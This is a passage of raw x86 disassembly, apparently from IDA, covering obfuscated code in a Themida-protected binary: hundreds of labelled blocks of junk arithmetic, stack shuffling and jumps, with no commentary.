add dword ptr [esp+8], 1FE86CE9h
sub [esp+8], ecx
jmp loc_58ECF8
; ---------------------------------------------------------------------------
loc_5A2269: ; CODE XREF: Themida_:00592A38j
add eax, ecx
add eax, 1AF1184Ch
jmp loc_597DE3
; ---------------------------------------------------------------------------
loc_5A2275: ; CODE XREF: Themida_:0058FC2Ej
pop esi
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
sub ecx, esi
pop esi
xchg ecx, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 19FE2CCAh
jmp loc_5951BB
; ---------------------------------------------------------------------------
loc_5A229B: ; CODE XREF: Themida_:0059F3AFj
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_591583
; ---------------------------------------------------------------------------
loc_5A22A8: ; CODE XREF: Themida_:005A151Ej
pop eax
add eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push edx
push ecx
push 1767419Dh
pop ecx
push ebx
push eax
jmp loc_59B2C7
; ---------------------------------------------------------------------------
loc_5A22C4: ; CODE XREF: Themida_:0059CEF5j
add al, 0EBh
jmp loc_597643
; ---------------------------------------------------------------------------
loc_5A22CB: ; CODE XREF: Themida_:005977FEj
and esi, 476616FFh
add esi, 32F80035h
mov edi, esi
pop esi
add edx, edi
pop edi
sub edx, 18F27C33h
sub edx, edi
add edx, 18F27C33h
sub edx, 79F816D4h
jmp loc_5975B1
; ---------------------------------------------------------------------------
loc_5A22F6: ; CODE XREF: Themida_:00596D07j
mov edx, [esp]
add esp, 4
jmp loc_59899A
; ---------------------------------------------------------------------------
loc_5A2304: ; CODE XREF: Themida_:00591D11j
sub edx, esi
pop esi
sub ebp, 71BE212Fh
add ebp, edx
add ebp, 71BE212Fh
push dword ptr [esp]
jmp loc_598ACD
; ---------------------------------------------------------------------------
loc_5A231D: ; CODE XREF: Themida_:00593C7Cj
push ecx
jmp loc_590227
; ---------------------------------------------------------------------------
loc_5A2323: ; CODE XREF: Themida_:0059C32Ej
mov ebx, 5173488Fh
shr ebx, 6
and ebx, 7607418Fh
not ebx
jmp loc_5A0D4F
; ---------------------------------------------------------------------------
loc_5A2338: ; CODE XREF: Themida_:00591786j
neg ebx
xor ebx, 229C3AC7h
push esi
mov esi, 43C86798h
shl esi, 5
xchg ecx, esi
inc ecx
xchg ecx, esi
push ebp
mov ebp, 64331076h
jmp loc_59C4DD
; ---------------------------------------------------------------------------
loc_5A2359: ; CODE XREF: Themida_:0059C6C8j
mov edx, [esp]
add esp, 4
push ebx
sub esp, 4
mov [esp], edx
mov dl, 66h
mov bl, dl
pop edx
jmp loc_59DD7C
; ---------------------------------------------------------------------------
loc_5A2373: ; CODE XREF: Themida_:00597359j
mov [esp], esi
mov esi, 4
add edi, esi
jmp loc_594655
; ---------------------------------------------------------------------------
loc_5A2382: ; CODE XREF: Themida_:0059122Cj
push eax
push 677Ch
mov [esp], ebx
push eax
jmp loc_5946E8
; ---------------------------------------------------------------------------
loc_5A2391: ; CODE XREF: Themida_:0059D793j
or eax, 5DB632C8h
xor eax, 0A0414D24h
sub ebp, eax
mov eax, [esp]
jmp loc_5A28E2
; ---------------------------------------------------------------------------
loc_5A23A5: ; CODE XREF: Themida_:0058FD1Cj
and edx, 19C825BCh
shl edx, 2
xor edx, 351FC7C1h
push esi
mov esi, 6F030B69h
add ebp, esi
mov esi, [esp]
add esp, 4
add ebp, 2D55248Fh
add ebp, edx
sub ebp, 2D55248Fh
sub ebp, 6F030B69h
jmp loc_58F9CE
; ---------------------------------------------------------------------------
loc_5A23DB: ; CODE XREF: Themida_:005995E4j
pop esi
sub edi, 43621C4Eh
add edi, ebp
add edi, 43621C4Eh
pop ebp
xchg edi, [esp]
jmp loc_592783
; ---------------------------------------------------------------------------
loc_5A23F3: ; CODE XREF: Themida_:005A0F1Dj
pop esi
sub esp, 4
mov [esp], edi
push esi
push 1966h
mov [esp], ebp
push esi
mov esi, 0CF86B4Ah
mov ebp, 0CF86B4Eh
jmp loc_59EAFA
; ---------------------------------------------------------------------------
loc_5A2413: ; CODE XREF: Themida_:005915D0j
sub al, dh
sub al, 75h
push dword ptr [esp]
pop edx
push ecx
push 91Bh
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_59CE48
; ---------------------------------------------------------------------------
loc_5A243D: ; CODE XREF: Themida_:0059BAF9j
sub eax, edx
mov edx, [esp]
add esp, 4
jmp loc_593934
; ---------------------------------------------------------------------------
loc_5A244A: ; CODE XREF: Themida_:0059565Cj
neg edi
push ecx
mov ecx, 0D285B4Eh
add ecx, 0E2A854C9h
jmp loc_58F915
; ---------------------------------------------------------------------------
loc_5A245D: ; CODE XREF: Themida_:00591456j
push 338Dh
jmp loc_59E1C4
; ---------------------------------------------------------------------------
loc_5A2467: ; CODE XREF: Themida_:0058E885j
push edx
jmp loc_599550
; ---------------------------------------------------------------------------
loc_5A246D: ; CODE XREF: Themida_:0059B1C3j
add ecx, 2A5537A4h
pop ebx
jmp loc_59521B
; ---------------------------------------------------------------------------
loc_5A2479: ; CODE XREF: Themida_:00591B41j
push edi
mov edi, 4
mov ebp, edi
pop edi
jmp loc_5A13BA
; ---------------------------------------------------------------------------
loc_5A2487: ; CODE XREF: Themida_:00591BD1j
mov esi, esp
push edx
mov edx, 4
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_59188E
; ---------------------------------------------------------------------------
loc_5A24B8: ; CODE XREF: Themida_:00590BBCj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 11E0207Bh
add esi, ebp
mov ebp, [esp]
add esp, 4
mov edx, [esp]
jmp loc_59CA5F
; ---------------------------------------------------------------------------
loc_5A24E0: ; CODE XREF: Themida_:00592750j
pop dword ptr [esp]
jmp loc_59E8C0
; ---------------------------------------------------------------------------
loc_5A24E8: ; CODE XREF: Themida_:005997C0j
push edx
jmp loc_591DE1
; ---------------------------------------------------------------------------
loc_5A24EE: ; CODE XREF: Themida_:005955F2j
mov bh, 33h
mov dl, bh
push dword ptr [esp]
jmp loc_5A2EE7
; ---------------------------------------------------------------------------
loc_5A24FA: ; CODE XREF: Themida_:0059F715j
mov esp, [esp]
cmp cl, al
pushf
jmp loc_58EE1D
; ---------------------------------------------------------------------------
loc_5A2505: ; CODE XREF: Themida_:00599294j
shr ebp, 3
or ebp, 37B22878h
push esi
mov esi, 2F657FAFh
or ebp, esi
pop esi
jmp loc_59674F
; ---------------------------------------------------------------------------
loc_5A251C: ; CODE XREF: Themida_:0059FBA1j
xchg edx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
jmp loc_5917C1
; ---------------------------------------------------------------------------
loc_5A252D: ; CODE XREF: Themida_:0059140Fj
pop ecx
sub dl, 52h
sub al, dl
pop edx
add al, bh
add al, 0AEh
jmp loc_5963AB
; ---------------------------------------------------------------------------
loc_5A253D: ; CODE XREF: Themida_:005A3173j
add eax, 10E220A8h
add eax, ebp
sub eax, 10E220A8h
pop ebp
jmp loc_5A32BA
; ---------------------------------------------------------------------------
loc_5A254F: ; CODE XREF: Themida_:0059C43Aj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A2561: ; CODE XREF: Themida_:005A049Dj
pop esp
sub ebp, 64E3B6D4h
add edx, 64BA7AF0h
add edx, ebp
jmp loc_593981
; ---------------------------------------------------------------------------
loc_5A2575: ; CODE XREF: Themida_:00596E45j
mov esi, 0AFE5539Fh
sub ecx, esi
pop esi
add eax, ecx
pop ecx
add eax, ecx
push esi
jmp loc_59DA5E
; ---------------------------------------------------------------------------
loc_5A2588: ; CODE XREF: Themida_:005A1865j
pop ebx
add edi, edx
pop edx
push 6C4Fh
jmp loc_59F0B8
; ---------------------------------------------------------------------------
loc_5A2596: ; CODE XREF: Themida_:005953B3j
add esp, 4
jmp loc_5981A2
; ---------------------------------------------------------------------------
loc_5A259E: ; CODE XREF: Themida_:00596900j
xor ebp, [esp]
pop esp
jmp loc_59E7C2
; ---------------------------------------------------------------------------
loc_5A25A7: ; CODE XREF: Themida_:0059593Ej
xor esi, 0DBEFB0AAh
add eax, esi
mov esi, [esp]
jmp loc_597BDE
; ---------------------------------------------------------------------------
loc_5A25B7: ; CODE XREF: Themida_:00594424j
sub eax, edx
sub eax, 0EE23E87h
mov edx, [esp]
jmp loc_593404
; ---------------------------------------------------------------------------
loc_5A25C6: ; CODE XREF: Themida_:005A0091j
sub al, bl
push ecx
mov cl, 0EAh
jmp loc_5929D0
; ---------------------------------------------------------------------------
loc_5A25D0: ; CODE XREF: Themida_:00599D08j
not dword ptr [esp]
pop edi
jmp loc_598143
; ---------------------------------------------------------------------------
loc_5A25D9: ; CODE XREF: Themida_:005A3076j
xor ah, 0E8h
or ch, ah
pop eax
xchg dl, ch
neg dl
jmp loc_595100
; ---------------------------------------------------------------------------
loc_5A25E8: ; CODE XREF: Themida_:0059B4C1j
not esi
sub esi, 0FA1E1B8Fh
jmp loc_59A19E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5A25F5: ; CODE XREF: sub_590877+6E11j
sub al, dl
sub al, 15h
mov edx, [esp-0Ah+arg_4+2]
add esp, 4
sub al, bl
push edx
mov dl, 0BFh
shr dl, 8
sub dl, 5Ah
add al, dl
pop edx
sub al, 6Ah
push ecx
sub esp, 4
jmp loc_5992E6
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_5A261E: ; CODE XREF: sub_5A1999-91F8j
xor eax, ecx
pop ecx
push 550Bh
mov [esp-8+arg_4], esi
mov esi, eax
push 38C9h
mov [esp-4+arg_0], esi
jmp loc_59A5A8
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_5A2638: ; CODE XREF: Themida_:005960C5j
pop edi
add eax, 1ACD2660h
jmp loc_59268E
; ---------------------------------------------------------------------------
loc_5A2643: ; CODE XREF: Themida_:0059D29Fj
sub esi, 0FFFFFFFFh
push esi
not dword ptr [esp]
pop esi
push ebp
mov ebp, 3E0B511Ah
jmp loc_59F623
; ---------------------------------------------------------------------------
loc_5A2656: ; CODE XREF: Themida_:0059C8CFj
mov bl, 87h
xor bl, ch
pop ecx
jmp loc_5964C2
; ---------------------------------------------------------------------------
loc_5A2660: ; CODE XREF: Themida_:00592F5Fj
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A2669: ; CODE XREF: Themida_:00597427j
xchg ebx, [esp]
jmp loc_59DFD7
; ---------------------------------------------------------------------------
loc_5A2671: ; CODE XREF: Themida_:00597F6Fj
not edi
jmp loc_5A1589
; ---------------------------------------------------------------------------
loc_5A2678: ; CODE XREF: Themida_:0059BFAFj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_58EEE1
; ---------------------------------------------------------------------------
loc_5A2686: ; CODE XREF: Themida_:00590A50j
pop ecx
push 63BBh
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 7DB3430Bh
inc eax
jmp loc_59C50A
; ---------------------------------------------------------------------------
loc_5A269D: ; CODE XREF: Themida_:005967E8j
push ax
jmp loc_599137
; ---------------------------------------------------------------------------
loc_5A26A4: ; CODE XREF: Themida_:00590DCCj
mov [esp], edi
push esi
push 5F11779Fh
jmp loc_5977F8
; ---------------------------------------------------------------------------
loc_5A26B2: ; CODE XREF: Themida_:00595F0Cj
mov ebx, [esp]
jmp loc_5A2A15
; ---------------------------------------------------------------------------
loc_5A26BA: ; CODE XREF: Themida_:0059CC1Aj
add edx, 4
push esi
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_58FA91
; ---------------------------------------------------------------------------
loc_5A26D7: ; CODE XREF: Themida_:00595531j
add esi, 4E0F3D08h
pop ebx
jmp loc_59E292
; ---------------------------------------------------------------------------
loc_5A26E3: ; CODE XREF: Themida_:0059898Cj
mov eax, ebp
jmp loc_59A944
; ---------------------------------------------------------------------------
loc_5A26EA: ; CODE XREF: Themida_:0059CC07j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59FEEA
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
sub esp, 4
mov [esp], ecx
push 4
pop ecx
add [esp+4], ecx
jmp loc_58F8B8
; ---------------------------------------------------------------------------
loc_5A2723: ; CODE XREF: Themida_:0059F62Ej
mov ebp, ebx
mov ecx, ebp
mov ebp, [esp]
jmp loc_59E46F
; ---------------------------------------------------------------------------
loc_5A272F: ; CODE XREF: Themida_:00595B5Ej
add ecx, 494C22F0h
add ecx, 581C6645h
add ebp, 0C1F66D8h
add ebp, ecx
sub ebp, 0C1F66D8h
pop ecx
pop esi
add ebp, 0FFFFFFFFh
dec ebp
xor ebp, 6F5121F1h
jmp loc_59AD35
; ---------------------------------------------------------------------------
loc_5A275A: ; CODE XREF: Themida_:00595828j
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
push 2676h
mov [esp], edi
mov edi, esp
push eax
mov eax, 3BB31AD0h
jmp loc_5A0DE4
; ---------------------------------------------------------------------------
loc_5A2782: ; CODE XREF: Themida_:0059FEC2j
not eax
push ecx
mov ecx, 64235F45h
sub eax, ecx
pop ecx
add esi, eax
pop eax
push edi
mov edi, 5FE56D8Eh
neg edi
add edi, 4F610C44h
sub edi, 0EF7B9EB2h
add esi, edi
pop edi
xchg esi, [esp]
pop esp
push ebp
jmp loc_594A45
; ---------------------------------------------------------------------------
loc_5A27B1: ; CODE XREF: Themida_:0059BCD1j
not edi
xchg edi, ebp
push esi
push ebp
mov ebp, 7FA6577Bh
push eax
jmp loc_5943F4
; ---------------------------------------------------------------------------
loc_5A27C2: ; CODE XREF: Themida_:0058F833j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
push esi
push esp
jmp loc_58FFF2
; ---------------------------------------------------------------------------
loc_5A27EB: ; CODE XREF: Themida_:0059D67Dj
push esp
pop esi
push edx
sub esp, 4
mov [esp], ebx
jmp loc_596A77
; ---------------------------------------------------------------------------
loc_5A27FC: ; CODE XREF: Themida_:0058FDBFj
add edx, edi
pop edi
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5949D1
; ---------------------------------------------------------------------------
loc_5A280D: ; CODE XREF: Themida_:0059C33Cj
xor edi, 50CB18D8h
sub eax, edi
mov edi, [esp]
add esp, 4
push eax
pop dword ptr [edx+30h]
mov eax, [esp]
jmp loc_58EC1C
; ---------------------------------------------------------------------------
loc_5A2827: ; CODE XREF: Themida_:00598CD7j
add esp, 4
push 1138h
jmp loc_58E5E4
; ---------------------------------------------------------------------------
loc_5A2837: ; CODE XREF: Themida_:0059C172j
sub dword ptr [esp], 6F737378h
pop ecx
add ecx, 6F737378h
push edi
mov edi, ecx
mov esi, edi
pop edi
pop ecx
mov ebx, [esp]
jmp loc_59DE22
; ---------------------------------------------------------------------------
loc_5A2854: ; CODE XREF: Themida_:00593910j
mov [esp], ebx
push esp
pop ebx
jmp loc_59ECCB
; ---------------------------------------------------------------------------
loc_5A285E: ; CODE XREF: Themida_:005A155Ej
mov edi, [esp]
add esp, 4
not eax
not eax
push esi
mov esi, 7F2B32E6h
jmp loc_594497
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596B96
loc_5A2873: ; CODE XREF: sub_596B96+9j
mov esi, 4C885FE1h
add esi, 0B377A023h
add eax, esi
pop esi
push edi
jmp loc_58E543
; END OF FUNCTION CHUNK FOR sub_596B96
; ---------------------------------------------------------------------------
loc_5A2887: ; CODE XREF: Themida_:0059A026j
neg dl
add dl, 5Ah
mov bl, dl
pop edx
jmp loc_59D189
; ---------------------------------------------------------------------------
loc_5A2894: ; CODE XREF: Themida_:0059C42Cj
mov ebx, 2EA06488h
mov esi, 4ED28C5Dh
add esi, 2C285B1Ah
add esi, ebx
sub esi, 2C285B1Ah
pop ebx
push 1952h
mov [esp], ecx
mov ecx, 21DC0868h
sub esi, 406515A0h
sub esi, ecx
add esi, 406515A0h
pop ecx
jmp loc_59ED90
; ---------------------------------------------------------------------------
loc_5A28CE: ; CODE XREF: Themida_:0059B98Bj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A28D3: ; CODE XREF: Themida_:005A2019j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
jmp loc_59014A
; ---------------------------------------------------------------------------
loc_5A28E2: ; CODE XREF: Themida_:005A23A0j
add esp, 4
add ebp, 0EBFF739Bh
or [edi+1Ch], ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
jmp loc_599E3C
; ---------------------------------------------------------------------------
loc_5A2902: ; CODE XREF: Themida_:005A0268j
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
jmp loc_59B144
; ---------------------------------------------------------------------------
loc_5A2933: ; CODE XREF: Themida_:00595653j
push ebx
mov ebx, 2D5D6518h
sub edi, ebx
jmp loc_59A562
; ---------------------------------------------------------------------------
loc_5A2940: ; CODE XREF: Themida_:0058FE38j
add ecx, ebp
pop ebp
push 147Bh
mov [esp], esi
mov esi, 2
push edi
jmp loc_5A04F3
; ---------------------------------------------------------------------------
loc_5A2956: ; CODE XREF: Themida_:00592CDEj
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
push 2AAAh
mov [esp], ecx
sub esp, 4
jmp loc_595573
; ---------------------------------------------------------------------------
loc_5A2972: ; CODE XREF: Themida_:00595496j
pop esi
add edx, ebp
pop ebp
inc edx
xor edx, 6CA13A97h
or edx, 1E0779FCh
xor edx, 5E3F7BFAh
add ecx, edx
mov edx, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_594A53
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A1A3F
; ---------------------------------------------------------------------------
loc_5A29AE: ; CODE XREF: Themida_:005957E0j
push 24CDh
jmp loc_59B592
; ---------------------------------------------------------------------------
loc_5A29B8: ; CODE XREF: Themida_:00596C65j
add esi, edi
mov edi, [esp]
add esp, 4
jmp loc_5941C4
; ---------------------------------------------------------------------------
loc_5A29C5: ; CODE XREF: Themida_:00591CD2j
push ebp
push esi
mov esi, 22BA5E16h
not esi
or esi, 2E97694Bh
neg esi
sub esi, 321D2B15h
xor esi, 0CE0AEB02h
jmp loc_59C7CB
; ---------------------------------------------------------------------------
loc_5A29E7: ; CODE XREF: Themida_:005979C5j
sub ebx, 4
jmp loc_59A95A
; ---------------------------------------------------------------------------
loc_5A29EF: ; CODE XREF: Themida_:00592DE5j
mov eax, [esp]
jmp loc_5A1B34
; ---------------------------------------------------------------------------
loc_5A29F7: ; CODE XREF: Themida_:00590EA6j
dec ecx
xor ecx, 4C4E7213h
jmp loc_59A13A
; ---------------------------------------------------------------------------
loc_5A2A03: ; CODE XREF: Themida_:00592147j
mov [esp], esi
mov esi, 4
add [esp+4], esi
pop esi
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A2A15: ; CODE XREF: Themida_:005A26B5j
push ebx
push esp
jmp loc_59EF9B
; ---------------------------------------------------------------------------
loc_5A2A1C: ; CODE XREF: Themida_:0058F084j
sub dword ptr [esp+4], 26E52447h
push edx
jmp loc_5A19A1
; ---------------------------------------------------------------------------
loc_5A2A2A: ; CODE XREF: Themida_:005A0C6Bj
xchg edi, ebp
sub edi, 0FFFFFFFFh
xchg edi, ebp
xor ebp, 1C8F4BE3h
add edi, ebp
mov ebp, [esp]
jmp loc_5A2FEF
; ---------------------------------------------------------------------------
loc_5A2A44: ; CODE XREF: Themida_:0059C11Dj
push 1CBCh
mov [esp], ebx
push ebp
mov ebp, 58BD21CEh
jmp loc_599493
; ---------------------------------------------------------------------------
loc_5A2A57: ; CODE XREF: Themida_:0059FB0Aj
pop ecx
jmp loc_59E795
; ---------------------------------------------------------------------------
loc_5A2A5D: ; CODE XREF: Themida_:0059E139j
sub ebx, 70346F3Ah
pop edi
xor edx, eax
jmp loc_59A9F3
; ---------------------------------------------------------------------------
loc_5A2A6B: ; CODE XREF: Themida_:0059CBC6j
push ebp
push 61E3h
mov [esp], eax
mov eax, 6DC44FDAh
mov ebp, eax
mov eax, [esp]
jmp loc_596FCF
; ---------------------------------------------------------------------------
loc_5A2A83: ; CODE XREF: Themida_:0059C505j
or ebx, ecx
jmp loc_5A0C1C
; ---------------------------------------------------------------------------
loc_5A2A8A: ; CODE XREF: Themida_:005962D8j
mov ebp, 4676AC0h
jmp loc_59FEE4
; ---------------------------------------------------------------------------
loc_5A2A94: ; CODE XREF: Themida_:00592887j
mov [esp], ecx
jmp loc_597BD1
; ---------------------------------------------------------------------------
loc_5A2A9C: ; CODE XREF: Themida_:0059CAD8j
pop dword ptr [esp]
mov esp, [esp]
push ebp
mov ebp, esp
push 25E2h
mov [esp], ecx
mov ecx, 4E590808h
sub ecx, 1
jmp loc_598670
; ---------------------------------------------------------------------------
loc_5A2ABA: ; CODE XREF: Themida_:005A31CEj
mov ebp, 37C0007Ah
or ecx, ebp
mov ebp, [esp]
jmp loc_5908CC
; ---------------------------------------------------------------------------
loc_5A2AC9: ; CODE XREF: Themida_:00593A48j
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_598706
; ---------------------------------------------------------------------------
loc_5A2AD6: ; CODE XREF: Themida_:0059F626j
sub ebp, 63077D70h
add ebp, 524BCDFFh
sub esi, ebp
pop ebp
sub ebx, esi
pop esi
add ecx, 3A285F45h
add ecx, ebx
sub ecx, 3A285F45h
push dword ptr [esp]
pop ebx
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_59DADC
; ---------------------------------------------------------------------------
loc_5A2B0B: ; CODE XREF: Themida_:0059C694j
mov [esp], edi
jmp loc_5944BF
; ---------------------------------------------------------------------------
loc_5A2B13: ; CODE XREF: Themida_:0059F945j
mov esi, 4
add [esp+4], esi
jmp loc_59ACE5
; ---------------------------------------------------------------------------
loc_5A2B21: ; CODE XREF: Themida_:00597350j
push esp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 7E4A4146h
jmp loc_592E3E
; ---------------------------------------------------------------------------
loc_5A2B3F: ; CODE XREF: Themida_:00590509j
mov eax, 57591A19h
dec eax
sub eax, 66C931B7h
jmp loc_5A151C
; ---------------------------------------------------------------------------
loc_5A2B4F: ; CODE XREF: Themida_:00591627j
pop ecx
push dword ptr [esp]
pop eax
jmp loc_59FDD2
; ---------------------------------------------------------------------------
loc_5A2B59: ; CODE XREF: Themida_:0058E647j
pop ebp
push esi
mov esi, 639B1E05h
xor esi, 1264588h
shl esi, 8
xor esi, 31077F48h
or esi, 7D835EA4h
push ecx
push 0FDDFFEE8h
pop ecx
xor esi, ecx
pop ecx
jmp loc_5903D2
; ---------------------------------------------------------------------------
loc_5A2B84: ; CODE XREF: Themida_:00597EC1j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A2B89: ; CODE XREF: Themida_:005A0ADDj
sub ebp, eax
pop eax
sub ebp, 6F088190h
sub ecx, ebp
pop ebp
jmp loc_599F3A
; ---------------------------------------------------------------------------
loc_5A2B9A: ; CODE XREF: Themida_:005A2CE2j
pop ecx
push ecx
mov ecx, 4
jmp loc_597A44
; ---------------------------------------------------------------------------
loc_5A2BA6: ; CODE XREF: Themida_:005962A0j
add esi, ebp
pop ebp
jmp loc_594F43
; ---------------------------------------------------------------------------
loc_5A2BAE: ; CODE XREF: Themida_:005989A5j
push ax
mov ah, 7
xor dl, ah
jmp loc_5971E8
; ---------------------------------------------------------------------------
loc_5A2BB9: ; CODE XREF: Themida_:00597CFCj
pop edx
add bh, ah
pop eax
push ecx
push edx
jmp loc_595569
; ---------------------------------------------------------------------------
loc_5A2BC4: ; CODE XREF: Themida_:0059D536j
pop edi
push edx
mov edx, 62B572FDh
jmp loc_59F728
; ---------------------------------------------------------------------------
loc_5A2BD0: ; CODE XREF: Themida_:0059A6EBj
mov esi, 7A2172BFh
push ecx
mov ecx, 735A1812h
sub esi, ecx
jmp loc_5A192C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5A2BE2: ; CODE XREF: sub_590877+A2C7j
push ecx
jmp loc_594F9E
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_5A2BE8: ; CODE XREF: Themida_:0058E912j
sub edx, edi
pop edi
sub esi, edx
pop edx
push edx
mov edx, 13F84780h
jmp loc_59745B
; ---------------------------------------------------------------------------
loc_5A2BF9: ; CODE XREF: Themida_:00591509j
push 22E1h
mov [esp], edx
mov edx, 60292F25h
jmp loc_5A0221
; ---------------------------------------------------------------------------
loc_5A2C0B: ; CODE XREF: Themida_:00590820j
mov [esp], ecx
push 2BD84D00h
jmp loc_58F9DD
; ---------------------------------------------------------------------------
loc_5A2C18: ; CODE XREF: Themida_:00596D71j
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_5997EF
; ---------------------------------------------------------------------------
loc_5A2C2F: ; CODE XREF: Themida_:005961CBj
pop eax
push 1EC5h
mov [esp], ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_58F0F5
; ---------------------------------------------------------------------------
loc_5A2C59: ; CODE XREF: Themida_:0059B744j
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5A0DB2
; ---------------------------------------------------------------------------
loc_5A2C79: ; CODE XREF: Themida_:005A2D6Aj
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_59CA6A
; ---------------------------------------------------------------------------
loc_5A2C91: ; CODE XREF: Themida_:005A1D2Bj
pop dword ptr [esp]
pop esp
jmp loc_5996AB
; ---------------------------------------------------------------------------
loc_5A2C9A: ; CODE XREF: Themida_:0059BF73j
mov [esp], eax
push 0A69h
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push esi
mov esi, 3A5E149Bh
dec esi
neg esi
or esi, 4031011Bh
jmp loc_58EE89
; ---------------------------------------------------------------------------
loc_5A2CC3: ; CODE XREF: Themida_:005990FBj
pop ecx
xchg ebx, [esp]
pop esp
jmp loc_5A2EB8
; ---------------------------------------------------------------------------
loc_5A2CCD: ; CODE XREF: Themida_:0059E4CEj
sub edi, ebx
jmp loc_590999
; ---------------------------------------------------------------------------
loc_5A2CD4: ; CODE XREF: Themida_:0058E6C0j
mov [esp], ebp
mov ebp, 6326BBh
jmp loc_59688E
; ---------------------------------------------------------------------------
loc_5A2CE1: ; CODE XREF: Themida_:00598386j
pop edx
jmp loc_5A2B9A
; ---------------------------------------------------------------------------
loc_5A2CE7: ; CODE XREF: Themida_:0059F4C5j
mov [esp], ebp
jmp loc_58EA62
; ---------------------------------------------------------------------------
loc_5A2CEF: ; CODE XREF: Themida_:005976D4j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_597FED
; ---------------------------------------------------------------------------
loc_5A2D1D: ; CODE XREF: Themida_:00597203j
xor ecx, edi
jmp loc_5953AF
; ---------------------------------------------------------------------------
loc_5A2D24: ; CODE XREF: Themida_:0059CD47j
dec esi
shl esi, 1
inc esi
sub esi, 12F44B42h
xor esi, 0A66FCBD6h
jmp loc_59F0D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596B96
loc_5A2D39: ; CODE XREF: sub_596B96-117Cj
mov esp, [esp-4+arg_0]
movsx cx, al
jmp sub_59FCFF
; END OF FUNCTION CHUNK FOR sub_596B96
; ---------------------------------------------------------------------------
loc_5A2D45: ; CODE XREF: Themida_:0059B673j
add ebp, ecx
jmp loc_592BEF
; ---------------------------------------------------------------------------
loc_5A2D4C: ; CODE XREF: Themida_:005981F1j
and ecx, 9887732h
neg ecx
and ecx, 63730D6Ah
neg ecx
add ecx, 63730D4Ch
jmp loc_596814
; ---------------------------------------------------------------------------
loc_5A2D67: ; CODE XREF: Themida_:005A0CA9j
add ecx, eax
pop eax
jmp loc_5A2C79
; ---------------------------------------------------------------------------
loc_5A2D6F: ; CODE XREF: Themida_:0059126Bj
xor ebx, edi
xor edi, ebx
xor ebx, edi
not edi
xchg edi, ebx
shr ebx, 5
push esi
jmp loc_59EF58
; ---------------------------------------------------------------------------
loc_5A2D82: ; CODE XREF: Themida_:005982EAj
mov [esp], edx
jmp loc_58E62F
; ---------------------------------------------------------------------------
loc_5A2D8A: ; CODE XREF: Themida_:00590AFAj
push 0E61h
mov [esp], edx
push ebx
pop edx
mov ebx, [esp]
jmp loc_590B70
; ---------------------------------------------------------------------------
loc_5A2D9C: ; CODE XREF: Themida_:0059BAB3j
pop ebp
sub eax, 45CE0EA9h
sub eax, ebp
push 0EF4h
mov [esp], ebx
jmp loc_5A0154
; ---------------------------------------------------------------------------
loc_5A2DB1: ; CODE XREF: Themida_:00596E02j
